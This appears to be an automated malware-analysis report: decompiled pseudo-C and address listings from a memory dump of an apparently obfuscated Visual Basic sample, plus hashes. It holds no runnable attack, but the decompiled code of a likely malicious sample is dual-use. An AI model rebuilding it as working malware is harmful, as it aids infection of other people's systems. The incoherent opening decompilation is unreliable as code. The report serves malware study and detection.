					 *((intOrPtr*)(_t88 + _t130)) =  *((intOrPtr*)(_t88 + _t130)) + _t88;
					_t33 = _t117 + 0x61;
					 *_t33 =  *((intOrPtr*)(_t117 + 0x61)) + _t88;
					if( *_t33 < 0) {
						goto L22;
					}
					asm("adc al, 0x0");
					_t209 =  *(_t191 + 0x66) * 0x616d726f;
					_t229 = _t209;
					if(_t229 == 0) {
						goto L23;
					}
					asm("outsd");
					asm("outsb");
					if(_t229 >= 0) {
						goto L24;
					}
					asm("outsd");
					asm("a16 gs outsb");
					goto L16;
				}
				 *_t114 =  *_t114 + _t127;
				_pop(es);
				asm("fild dword [edx]");
				 *_t76 =  *_t76 + _t76;
				 *(_t213 + _t76) =  *(_t213 + _t76) | _t76;
				 *_t76 =  *_t76 + _t76;
				 *_t114 =  *_t114 + 1;
				 *_t76 =  *_t76 ^ _t76;
				 *_t76 =  *_t76 + _t76;
				_push(es);
				_push(es);
				 *((intOrPtr*)(_t191 + 0x72)) =  *((intOrPtr*)(_t191 + 0x72)) + _t76;
				asm("popad");
				asm("insd");
				 *[gs:eax] =  *[gs:eax] ^ _t76;
				_t79 = _t76 +  *_t127;
				asm("adc [eax], eax");
				_push(_t204);
				asm("outsd");
				asm("insd");
				asm("a16 outsb");
				asm("a16 gs insb");
				_t215 =  *(_t179 + 0x68) * 0x6e656465;
				if(_t215 >= 0) {
					goto L3;
				}
				goto L2;
			}

0x00402029
0x0040202e
0x0040202f
0x00402032
0x00402034
0x00402036
0x00402038
0x0040203a
0x0040203b
0x0040203e
0x00402040
0x00402042
0x00402044
0x00402049
0x0040204a
0x0040207e
0x0040207e
0x00402084
0x00402085
0x00402087
0x00402088
0x0040208e
0x00402090
0x00402092
0x00402093
0x00402096
0x00402097
0x0040209b
0x0040209d
0x0040209e
0x004020a1
0x004020a3
0x004020a5
0x004020a6
0x004020ac
0x004020ae
0x004020b0
0x004020b6
0x004020b7
0x004020b7
0x004020b9
0x004020bb
0x004020be
0x004020bf
0x004020c3
0x004020c5
0x004020c7
0x004020ce
0x004020cf
0x004020d6
0x004020d8
0x004020dd
0x004020df
0x004020e1
0x004020e1
0x004020e3
0x004020e7
0x004020e9
0x004020eb
0x004020ec
0x004020ef
0x004020f0
0x004020f4
0x004020f6
0x004020f8
0x004020f9
0x004020fa
0x004020fc
0x00402100
0x00402101
0x00402108
0x0040210d
0x00402111
0x00402113
0x00402116
0x0040211a
0x0040211c
0x0040211e
0x00402120
0x00402121
0x00402124
0x0040212c
0x0040212f
0x00402131
0x00402132
0x00402134
0x00402136
0x00402138
0x0040213a
0x0040213e
0x00402142
0x00402144
0x00402146
0x00402148
0x0040214a
0x0040214a
0x0040214b
0x004021b6
0x004021b6
0x004021b8
0x004021bf
0x004021c0
0x004021c5
0x004021c5
0x004021c7
0x004021c9
0x004021d0
0x004021d3
0x004021d4
0x004021d8
0x004021da
0x004021dd
0x004021e1
0x004021e1
0x004021e3
0x004021e5
0x004021e8
0x004021e8
0x004021eb
0x004021eb
0x004021ec
0x004021ec
0x004021ee
0x004021f0
0x004021f3
0x004021f5
0x004021f7
0x004021fd
0x004021ff
0x00402201
0x00402203
0x00402205
0x00402207
0x0040220a
0x0040220c
0x0040220e
0x00402210
0x00402212
0x00402212
0x00402214
0x00402216
0x00402218
0x00402219
0x00402219
0x0040221b
0x0040221e
0x0040221f
0x00402225
0x00402227
0x00402227
0x00402229
0x0040222b
0x0040222d
0x0040222f
0x00402231
0x00402233
0x00402235
0x00402237
0x00402239
0x0040223b
0x0040223d
0x0040223f
0x00402241
0x00402243
0x00402245
0x00402247
0x00402249
0x0040224b
0x0040224d
0x0040224f
0x00402251
0x00402253
0x00402255
0x00402257
0x00402259
0x0040225b
0x0040225d
0x0040225f
0x00402261
0x00402263
0x00402265
0x00402267
0x00402269
0x0040226b
0x0040226d
0x0040226f
0x00402271
0x00402273
0x00402275
0x00402277
0x00402279
0x0040227b
0x0040227d
0x0040227f
0x00402281
0x00402283
0x00402285
0x00402287
0x00402289
0x0040228b
0x0040228d
0x0040228f
0x00402291
0x00402293
0x00402295
0x00402297
0x00402299
0x0040229b
0x0040229d
0x0040229f
0x004022a1
0x004022a3
0x004022a5
0x004022a7
0x004022a9
0x004022ab
0x004022ad
0x004022af
0x004022b1
0x004022b3
0x004022b5
0x004022b7
0x004022b9
0x004022bb
0x004022bd
0x004022bf
0x004022c1
0x004022c3
0x004022c5
0x004022c7
0x004022c9
0x004022cb
0x004022cd
0x004022cf
0x004022d1
0x004022d3
0x004022d5
0x004022d7
0x004022d9
0x004022db
0x004022dd
0x004022df
0x004022e1
0x004022e3
0x004022e5
0x004022e7
0x004022e9
0x004022eb
0x004022ed
0x004022ef
0x004022f1
0x004022f3
0x004022f5
0x004022f7
0x004022f9
0x004022fb
0x004022fd
0x004022ff
0x00402301
0x00402303
0x00402305
0x00402307
0x00402309
0x0040230b
0x0040230d
0x0040230f
0x00402311
0x00402313
0x00402315
0x00402317
0x00402319
0x0040231b
0x0040231d
0x0040231f
0x00402321
0x00402323
0x00402325
0x00402327
0x00402329
0x0040232b
0x0040232d
0x0040232f
0x00402331
0x00402333
0x00402335
0x00402337
0x00402339
0x0040233b
0x0040233d
0x0040233f
0x00402341
0x00402343
0x00402345
0x00402347
0x00402349
0x0040234b
0x0040234d
0x0040234f
0x00402351
0x00402353
0x00402355
0x00402357
0x00402359
0x0040235b
0x0040235d
0x0040235f
0x00402361
0x00402363
0x00402365
0x00402367
0x00402369
0x0040236b
0x0040236d
0x0040236f
0x00402371
0x00402373
0x00402375
0x00402377
0x00402379
0x0040237b
0x0040237d
0x0040237f
0x00402381
0x00402383
0x00402385
0x00402387
0x00402389
0x0040238b
0x0040238d
0x0040238f
0x00402391
0x00402393
0x00402395
0x00402397
0x00402399
0x0040239b
0x0040239d
0x0040239f
0x004023a1
0x004023a3
0x004023a5
0x004023a7
0x004023a9
0x004023ab
0x004023ad
0x004023af
0x004023b1
0x004023b3
0x004023b5
0x004023b7
0x004023b9
0x004023bb
0x004023bd
0x004023bf
0x004023c1
0x004023c3
0x004023c5
0x004023c7
0x004023c9
0x004023cb
0x004023cd
0x004023cf
0x004023d1
0x004023d3
0x004023d5
0x004023d7
0x004023d9
0x004023db
0x004023dd
0x004023df
0x004023e1
0x004023e3
0x004023e5
0x004023e7
0x004023e9
0x004023eb
0x004023ed
0x004023ef
0x004023f1
0x004023f3
0x004023f5
0x004023f7
0x004023f9
0x004023fb
0x004023fd
0x004023ff
0x00402401
0x00402403
0x00402405
0x00402407
0x00402409
0x0040240b
0x0040240d
0x0040240f
0x00402411
0x00402413
0x00402415
0x00402417
0x00402419
0x0040241b
0x0040241d
0x0040241f
0x00402421
0x00402423
0x00402425
0x00402427
0x00402429
0x0040242b
0x0040242d
0x0040242f
0x00402431
0x00402433
0x00402435
0x00402437
0x00402439
0x0040243b
0x0040243d
0x0040243f
0x00402441
0x00402443
0x00402445
0x00402447
0x00402449
0x0040244b
0x0040244d
0x0040244f
0x00402451
0x00402453
0x00402455
0x00402457
0x00402459
0x0040245b
0x0040245d
0x0040245f
0x00402461
0x00402463
0x00402465
0x00402467
0x00402469
0x0040246b
0x0040246d
0x0040246f
0x00402471
0x00402473
0x00402475
0x00402477
0x00402479
0x0040247b
0x0040247d
0x0040247f
0x00402481
0x00402483
0x00402485
0x00402487
0x00402489
0x0040248b
0x0040248d
0x0040248f
0x00402491
0x00402493
0x00402495
0x00402497
0x00402499
0x0040249b
0x0040249d
0x0040249f
0x004024a1
0x004024a3
0x004024a5
0x004024a7
0x004024a9
0x004024ab
0x004024ad
0x004024af
0x004024b1
0x004024b3
0x004024b5
0x004024b7
0x004024b9
0x004024bb
0x004024bd
0x004024bf
0x004024c1
0x004024c3
0x004024c5
0x004024c7
0x004024c9
0x004024cb
0x004024cd
0x004024cf
0x004024d1
0x004024d3
0x004024d5
0x004024d7
0x004024d9
0x004024db
0x004024dd
0x004024df
0x004024e1
0x004024e3
0x004024e5
0x004024e7
0x004024e9
0x004024eb
0x004024ed
0x004024ef
0x004024f1
0x004024f3
0x004024f5
0x004024f7
0x004024f9
0x004024fb
0x004024fd
0x004024ff
0x00402501
0x00402503
0x00402505
0x00402507
0x00402509
0x0040250b
0x0040250d
0x0040250f
0x00402511
0x00402513
0x00402515
0x00402517
0x00402519
0x0040251b
0x0040251d
0x0040251f
0x00402521
0x00402523
0x00402525
0x00402527
0x00402529
0x0040252b
0x0040252d
0x0040252f
0x00402531
0x00402533
0x00402535
0x00402537
0x00402539
0x0040253b
0x0040253d
0x0040253f
0x00402541
0x00402543
0x00402545
0x00402547
0x00402549
0x0040254b
0x0040254d
0x0040254f
0x00402551
0x00402553
0x00402555
0x00402557
0x00402559
0x0040255b
0x0040255d
0x0040255f
0x00402561
0x00402563
0x00402565
0x00402567
0x00402569
0x0040256b
0x0040256d
0x0040256f
0x00402571
0x00402573
0x00402575
0x00402577
0x00402579
0x0040257b
0x0040257d
0x0040257f
0x00402581
0x00402583
0x00402585
0x00402587
0x00402589
0x0040258b
0x0040258d
0x0040258f
0x00402591
0x00402593
0x00402595
0x00402597
0x00402599
0x0040259b
0x0040259d
0x0040259f
0x004025a1
0x004025a3
0x004025a5
0x004025a7
0x004025a9
0x004025ab
0x004025ad
0x004025af
0x004025b1
0x004025b3
0x004025b5
0x004025b7
0x004025b9
0x004025bb
0x004025bd
0x004025bf
0x004025c1
0x004025c3
0x004025c5
0x004025c7
0x004025c9
0x004025cb
0x004025cd
0x004025cf
0x004025d1
0x004025d3
0x004025d5
0x004025d7
0x004025d9
0x004025db
0x004025dd
0x004025df
0x004025e1
0x004025e3
0x004025e5
0x004025e7
0x004025e9
0x004025eb
0x004025ed
0x004025ef
0x004025f1
0x004025f3
0x004025f5
0x004025f7
0x004025f9
0x004025fb
0x004025fd
0x004025ff
0x00402601
0x00402603
0x00402605
0x00402607
0x00402609
0x0040260b
0x0040260d
0x0040260f
0x00402611
0x00402613
0x00402615
0x00402617
0x00402619
0x0040261b
0x0040261d
0x0040261f
0x00402621
0x00402623
0x00402625
0x00402627
0x0040262c
0x0040262d
0x0040262f
0x00402671
0x00402678
0x0040267b
0x004026d2
0x004026d3
0x004026d7
0x0040272e
0x00402732
0x00402780
0x00402782
0x004027d9
0x004027db
0x0040282e
0x00402836
0x0040283a
0x00402880
0x00402882
0x00402885
0x004028d9
0x004028d9
0x004028db
0x004028de
0x0040292b
0x0040292d
0x0040292f
0x00402973
0x00402974
0x00402977
0x00402978
0x0040297c
0x004029c9
0x004029cb
0x004029d0
0x00402a1c
0x00402a1d
0x00402a1e
0x00402a21
0x00402a6f
0x00402a70
0x00402a71
0x00402a75
0x00402abe
0x00402abf
0x00402b04
0x00402b05
0x00402b07
0x00402b09
0x00402b52
0x00402b5a
0x00402b5e
0x00402baa
0x00402baf
0x00402bb0
0x00402bb2
0x00402bfa
0x00402bfd
0x00402c4c
0x00402c4e
0x00402c50
0x00402cac
0x00402cad
0x00402caf
0x00402cf9
0x00402cfa
0x00402d01
0x00402d03
0x00402d52
0x00402d54
0x00402da9
0x00402db0
0x00402db3
0x00402e00
0x00402e01
0x00402e04
0x00402e4e
0x00402e50
0x00402e51
0x00402e53
0x00402e55
0x00402e57
0x00402ea9
0x00402ea9
0x00402eaa
0x00402eac
0x00402ead
0x00402ef5
0x00402ef6
0x00402ef7
0x00402ef8
0x00402efa
0x00402f42
0x00402f43
0x00402f46
0x00402f8e
0x00402f8f
0x00402f91
0x00402f94
0x00402f97
0x00402fdb
0x00402fdb
0x00402fe4
0x00402fe5
0x00402fea
0x0040303f
0x00403041
0x00403086
0x00403087
0x00403088
0x0040308c
0x004030db
0x004030dd
0x00403122
0x00403122
0x00403124
0x0040312a
0x0040312c
0x0040312c
0x00403122
0x0040214d
0x0040214e
0x0040214f
0x00000000
0x00000000
0x00402159
0x00402159
0x00402159
0x0040215a
0x0040215b
0x0040215c
0x0040215e
0x00402160
0x00402162
0x00402164
0x00402166
0x00402168
0x00402168
0x0040216b
0x00000000
0x00000000
0x0040216d
0x00402174
0x00402175
0x00402175
0x00402175
0x00402178
0x00000000
0x00000000
0x0040217a
0x0040217b
0x0040217d
0x00000000
0x00000000
0x0040217f
0x00402180
0x00000000
0x00000000
0x00402182
0x00402183
0x00402184
0x0040218a
0x0040218f
0x00402191
0x00402193
0x00402196
0x00402199
0x00402199
0x0040219c
0x00000000
0x00000000
0x004021a5
0x004021a7
0x004021a7
0x004021ae
0x00000000
0x00000000
0x004021b0
0x004021b1
0x004021b2
0x00000000
0x00000000
0x004021b4
0x004021b5
0x00000000
0x004021b5
0x0040204d
0x0040204f
0x00402050
0x00402052
0x00402054
0x00402057
0x00402059
0x0040205b
0x0040205d
0x0040205f
0x00402060
0x00402061
0x00402064
0x00402065
0x00402066
0x00402069
0x0040206b
0x0040206d
0x0040206e
0x0040206f
0x00402070
0x00402072
0x00402075
0x0040207c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5e9293496e29687d13ab48d427c40153625baeed697349e65b72652e7bfc203
Instruction ID: 8ef334b56aa1e5880dac17fde2eaec21049f3d5fb45ad1d8d8ca63b37a4c048d
Opcode Fuzzy Hash: a5e9293496e29687d13ab48d427c40153625baeed697349e65b72652e7bfc203
Instruction Fuzzy Hash: 77B1023145E7C08FD3078B708A665617FB0EE1320472946EFC5C2EA1E3E22D595BD76A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C49A, Relevance: 297.8, APIs: 159, Strings: 10, Instructions: 2033
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0040C49A(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v48;
				void* _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				long long _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v80;
				void* _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* _v100;
				signed int _v104;
				signed int _v108;
				char _v112;
				intOrPtr _v120;
				signed int _v128;
				intOrPtr _v136;
				signed int _v144;
				char _v152;
				signed int _v160;
				intOrPtr _v168;
				signed int _v176;
				char _v192;
				char* _v200;
				signed int _v208;
				char _v216;
				signed int _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				intOrPtr _v260;
				char _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				intOrPtr* _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				intOrPtr* _v300;
				signed int _v304;
				signed int _v308;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				char _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				intOrPtr* _v368;
				signed int _v372;
				signed int _v376;
				intOrPtr* _v380;
				signed int _v384;
				intOrPtr* _v388;
				signed int _v392;
				intOrPtr* _v396;
				signed int _v400;
				intOrPtr* _v404;
				signed int _v408;
				intOrPtr* _v412;
				signed int _v416;
				intOrPtr* _v420;
				signed int _v424;
				intOrPtr* _v428;
				signed int _v432;
				intOrPtr* _v436;
				signed int _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				intOrPtr* _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				intOrPtr* _v488;
				signed int _v492;
				intOrPtr* _v496;
				signed int _v500;
				intOrPtr* _v504;
				signed int _v508;
				intOrPtr* _v512;
				signed int _v516;
				intOrPtr* _v520;
				signed int _v524;
				intOrPtr* _v528;
				signed int _v532;
				intOrPtr* _v536;
				signed int _v540;
				intOrPtr* _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				intOrPtr* _v560;
				signed int _v564;
				intOrPtr* _v568;
				signed int _v572;
				intOrPtr* _v576;
				signed int _v580;
				intOrPtr* _v584;
				signed int _v588;
				intOrPtr* _v592;
				signed int _v596;
				intOrPtr* _v600;
				signed int _v604;
				signed int _v608;
				intOrPtr* _v612;
				signed int _v616;
				intOrPtr* _v620;
				signed int _v624;
				intOrPtr* _v628;
				signed int _v632;
				signed int _v636;
				intOrPtr* _v1024;
				signed int _v1036;
				intOrPtr _v1040;
				intOrPtr* _v1044;
				void* _t1016;
				signed int _t1020;
				signed int _t1024;
				signed int _t1032;
				signed int _t1036;
				signed int _t1040;
				signed int _t1044;
				signed int _t1048;
				signed int* _t1052;
				signed int _t1056;
				signed int _t1077;
				signed int _t1081;
				signed int _t1085;
				signed int _t1089;
				char* _t1093;
				signed int _t1097;
				signed int _t1101;
				signed int _t1105;
				signed int* _t1109;
				signed int _t1113;
				signed int* _t1121;
				signed int _t1129;
				signed int _t1147;
				signed int _t1151;
				signed int _t1155;
				signed int _t1159;
				signed int _t1179;
				signed int _t1183;
				signed int _t1188;
				signed int _t1192;
				char* _t1196;
				signed int _t1200;
				signed int _t1204;
				signed int _t1208;
				char* _t1212;
				signed int _t1216;
				signed int* _t1226;
				signed int _t1243;
				signed int _t1247;
				signed int _t1251;
				signed int _t1255;
				signed int* _t1259;
				signed int _t1263;
				signed int _t1280;
				signed int _t1284;
				signed int _t1288;
				signed int _t1292;
				char* _t1296;
				signed int _t1300;
				signed int _t1314;
				signed int _t1323;
				signed int _t1327;
				signed int _t1331;
				signed int _t1335;
				signed int _t1339;
				signed int* _t1343;
				signed int _t1347;
				signed int _t1364;
				signed int _t1368;
				signed int _t1372;
				signed int _t1376;
				char* _t1380;
				signed int _t1384;
				signed int _t1398;
				signed int _t1408;
				signed int _t1412;
				signed int _t1416;
				signed int _t1420;
				signed int _t1440;
				signed int _t1444;
				signed int _t1452;
				intOrPtr _t1454;
				char* _t1463;
				signed int _t1469;
				void* _t1472;
				signed int _t1477;
				void* _t1478;
				intOrPtr _t1534;
				intOrPtr _t1592;
				void* _t1609;
				signed int* _t1622;
				void* _t1628;
				void* _t1629;
				void* _t1631;
				intOrPtr _t1632;
				void* _t1634;
				void* _t1635;
				void* _t1637;
				void* _t1639;
				void* _t1640;
				void* _t1642;
				void* _t1643;
				void* _t1645;
				void* _t1646;
				void* _t1648;
				intOrPtr* _t1650;

				_t1478 = __ebx;
				_t1629 = _t1631;
				_t1632 = _t1631 - 0xc;
				 *[fs:0x0] = _t1632;
				L004011F0();
				_v16 = _t1632;
				_v12 = 0x401148;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				_t1016 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4011f6, _t1628);
				_push(0x40b740);
				L004012F2();
				if(_t1016 != 2) {
					_v216 = 0x80020004;
					_v224 = 0xa;
					_v200 = 0x80020004;
					_v208 = 0xa;
					L004011F0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004011F0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t1477 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10);
					asm("fclex");
					_v268 = _t1477;
					if(_v268 >= 0) {
						_v364 = _v364 & 0x00000000;
					} else {
						_push(0x2b0);
						_push(0x40b468);
						_push(_a4);
						_push(_v268);
						L004012EC();
						_v364 = _t1477;
					}
				}
				if( *0x410010 != 0) {
					_v368 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v368 = 0x410010;
				}
				_t1020 =  &_v88;
				L004012E6();
				_v268 = _t1020;
				_t1024 =  *((intOrPtr*)( *_v268 + 0xf8))(_v268,  &_v80, _t1020,  *((intOrPtr*)( *((intOrPtr*)( *_v368)) + 0x308))( *_v368));
				asm("fclex");
				_v272 = _t1024;
				if(_v272 >= 0) {
					_v372 = _v372 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x40b744);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v372 = _t1024;
				}
				L00401322();
				_v236 = 0x43683d;
				_v320 = _v80;
				_v80 = _v80 & 0x00000000;
				_v120 = _v320;
				_v128 = 8;
				_t54 =  &_v236; // 0x43683d
				_t1032 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v128, _t54,  &_v84);
				_v276 = _t1032;
				if(_v276 >= 0) {
					_v376 = _v376 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x40b498);
					_push(_a4);
					_push(_v276);
					L004012EC();
					_v376 = _t1032;
				}
				L00401364();
				L004012DA();
				L00401352();
				if( *0x410010 != 0) {
					_v380 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v380 = 0x410010;
				}
				_t1036 =  &_v88;
				L004012E6();
				_v268 = _t1036;
				_t76 =  &_v236; // 0x43683d
				_t1040 =  *((intOrPtr*)( *_v268 + 0x60))(_v268, _t76, _t1036,  *((intOrPtr*)( *((intOrPtr*)( *_v380)) + 0x314))( *_v380));
				asm("fclex");
				_v272 = _t1040;
				if(_v272 >= 0) {
					_v384 = _v384 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b7bc);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v384 = _t1040;
				}
				if( *0x410010 != 0) {
					_v388 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v388 = 0x410010;
				}
				_t1044 =  &_v92;
				L004012E6();
				_v276 = _t1044;
				_t1048 =  *((intOrPtr*)( *_v276 + 0x60))(_v276,  &_v240, _t1044,  *((intOrPtr*)( *((intOrPtr*)( *_v388)) + 0x300))( *_v388));
				asm("fclex");
				_v280 = _t1048;
				if(_v280 >= 0) {
					_v392 = _v392 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v392 = _t1048;
				}
				if( *0x410010 != 0) {
					_v396 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v396 = 0x410010;
				}
				_t1052 =  &_v96;
				L004012E6();
				_v284 = _t1052;
				_t1056 =  *((intOrPtr*)( *_v284 + 0x60))(_v284,  &_v244, _t1052,  *((intOrPtr*)( *((intOrPtr*)( *_v396)) + 0x314))( *_v396));
				asm("fclex");
				_v288 = _t1056;
				if(_v288 >= 0) {
					_v400 = _v400 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b7bc);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v400 = _t1056;
				}
				_v256 = 0x51842340;
				_v252 = 0x5afd;
				_v228 = 0x539c;
				_v136 = 0x70dd98;
				_v144 = 3;
				_v248 = _v240;
				_v200 = L"SIGNIFIKANSNIVEAUERS";
				_v208 = 8;
				L004012D4();
				_t140 =  &_v236; // 0x43683d
				 *((intOrPtr*)( *_a4 + 0x710))(_a4, 0x33d3c7, 0x132b94a0, 0x5b04, L"unrecumbently",  &_v128,  *_t140,  &_v248,  &_v144, _v244,  &_v228,  &_v256,  &_v264);
				_v76 = _v264;
				_v72 = _v260;
				_push( &_v96);
				_push( &_v92);
				_push( &_v88);
				_push(3);
				L004012CE();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401334();
				_t1634 = _t1632 + 0x1c;
				if( *0x410010 != 0) {
					_v404 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v404 = 0x410010;
				}
				_t1077 =  &_v88;
				L004012E6();
				_v268 = _t1077;
				_t1081 =  *((intOrPtr*)( *_v268 + 0x178))(_v268,  &_v236, _t1077,  *((intOrPtr*)( *((intOrPtr*)( *_v404)) + 0x308))( *_v404));
				asm("fclex");
				_v272 = _t1081;
				if(_v272 >= 0) {
					_v408 = _v408 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x40b744);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v408 = _t1081;
				}
				if( *0x410010 != 0) {
					_v412 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v412 = 0x410010;
				}
				_t1085 =  &_v92;
				L004012E6();
				_v276 = _t1085;
				_t1089 =  *((intOrPtr*)( *_v276 + 0x120))(_v276,  &_v96, _t1085,  *((intOrPtr*)( *((intOrPtr*)( *_v412)) + 0x314))( *_v412));
				asm("fclex");
				_v280 = _t1089;
				if(_v280 >= 0) {
					_v416 = _v416 & 0x00000000;
				} else {
					_push(0x120);
					_push(0x40b7bc);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v416 = _t1089;
				}
				if( *0x410010 != 0) {
					_v420 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v420 = 0x410010;
				}
				_t1093 =  &_v100;
				L004012E6();
				_v284 = _t1093;
				_t1097 =  *((intOrPtr*)( *_v284 + 0xe0))(_v284,  &_v228, _t1093,  *((intOrPtr*)( *((intOrPtr*)( *_v420)) + 0x308))( *_v420));
				asm("fclex");
				_v288 = _t1097;
				if(_v288 >= 0) {
					_v424 = _v424 & 0x00000000;
				} else {
					_push(0xe0);
					_push(0x40b744);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v424 = _t1097;
				}
				if( *0x410010 != 0) {
					_v428 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v428 = 0x410010;
				}
				_t1101 =  &_v104;
				L004012E6();
				_v292 = _t1101;
				_t1105 =  *((intOrPtr*)( *_v292 + 0xe8))(_v292,  &_v240, _t1101,  *((intOrPtr*)( *((intOrPtr*)( *_v428)) + 0x320))( *_v428));
				asm("fclex");
				_v296 = _t1105;
				if(_v296 >= 0) {
					_v432 = _v432 & 0x00000000;
				} else {
					_push(0xe8);
					_push(0x40b7ec);
					_push(_v292);
					_push(_v296);
					L004012EC();
					_v432 = _t1105;
				}
				if( *0x410010 != 0) {
					_v436 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v436 = 0x410010;
				}
				_t1109 =  &_v108;
				L004012E6();
				_v300 = _t1109;
				_t1113 =  *((intOrPtr*)( *_v300 + 0xf0))(_v300,  &_v112, _t1109,  *((intOrPtr*)( *((intOrPtr*)( *_v436)) + 0x314))( *_v436));
				asm("fclex");
				_v304 = _t1113;
				if(_v304 >= 0) {
					_v440 = _v440 & 0x00000000;
				} else {
					_push(0xf0);
					_push(0x40b7bc);
					_push(_v300);
					_push(_v304);
					L004012EC();
					_v440 = _t1113;
				}
				L004012C8();
				_t1635 = _t1634 + 0x10;
				_v248 = _v240;
				_v232 = _v228;
				L00401322();
				_v324 = _v96;
				_v96 = _v96 & 0x00000000;
				_v120 = _v324;
				_v128 = 9;
				_v244 = _v236;
				_t1121 =  &_v144;
				L004012C2();
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1129 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v244, 0x10,  &_v80,  &_v232,  &_v248, 0x1c0c4, _t1121, _t1121,  &_v256,  &_v144, _v112, 0, 0);
				_v308 = _t1129;
				if(_v308 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x40b498);
					_push(_a4);
					_push(_v308);
					L004012EC();
					_v444 = _t1129;
				}
				_v60 = _v256;
				_v56 = _v252;
				L00401364();
				L004012CE();
				L00401334();
				_t1637 = _t1635 + 0x28;
				_v200 = 0x623610;
				_v208 = 3;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x714))(_a4,  &M0040B648, 0x10, L"snydertampenes", 2,  &_v128,  &_v144, 6,  &_v88,  &_v92,  &_v100,  &_v104,  &_v108,  &_v112);
				if( *0x410010 != 0) {
					_v448 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v448 = 0x410010;
				}
				_t1147 =  &_v88;
				L004012E6();
				_v268 = _t1147;
				_t1151 =  *((intOrPtr*)( *_v268 + 0x128))(_v268,  &_v236, _t1147,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x318))( *_v448));
				asm("fclex");
				_v272 = _t1151;
				if(_v272 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x40b7bc);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v452 = _t1151;
				}
				if( *0x410010 != 0) {
					_v456 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v456 = 0x410010;
				}
				_t1155 =  &_v92;
				L004012E6();
				_v276 = _t1155;
				_t1159 =  *((intOrPtr*)( *_v276 + 0x120))(_v276,  &_v96, _t1155,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x310))( *_v456));
				asm("fclex");
				_v280 = _t1159;
				if(_v280 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0x120);
					_push(0x40b7bc);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v460 = _t1159;
				}
				_v328 = _v96;
				_v96 = _v96 & 0x00000000;
				_v136 = _v328;
				_v144 = 9;
				_v216 = _v236;
				_v224 = 3;
				_v200 = L"HALFPACE";
				_v208 = 8;
				L004012D4();
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
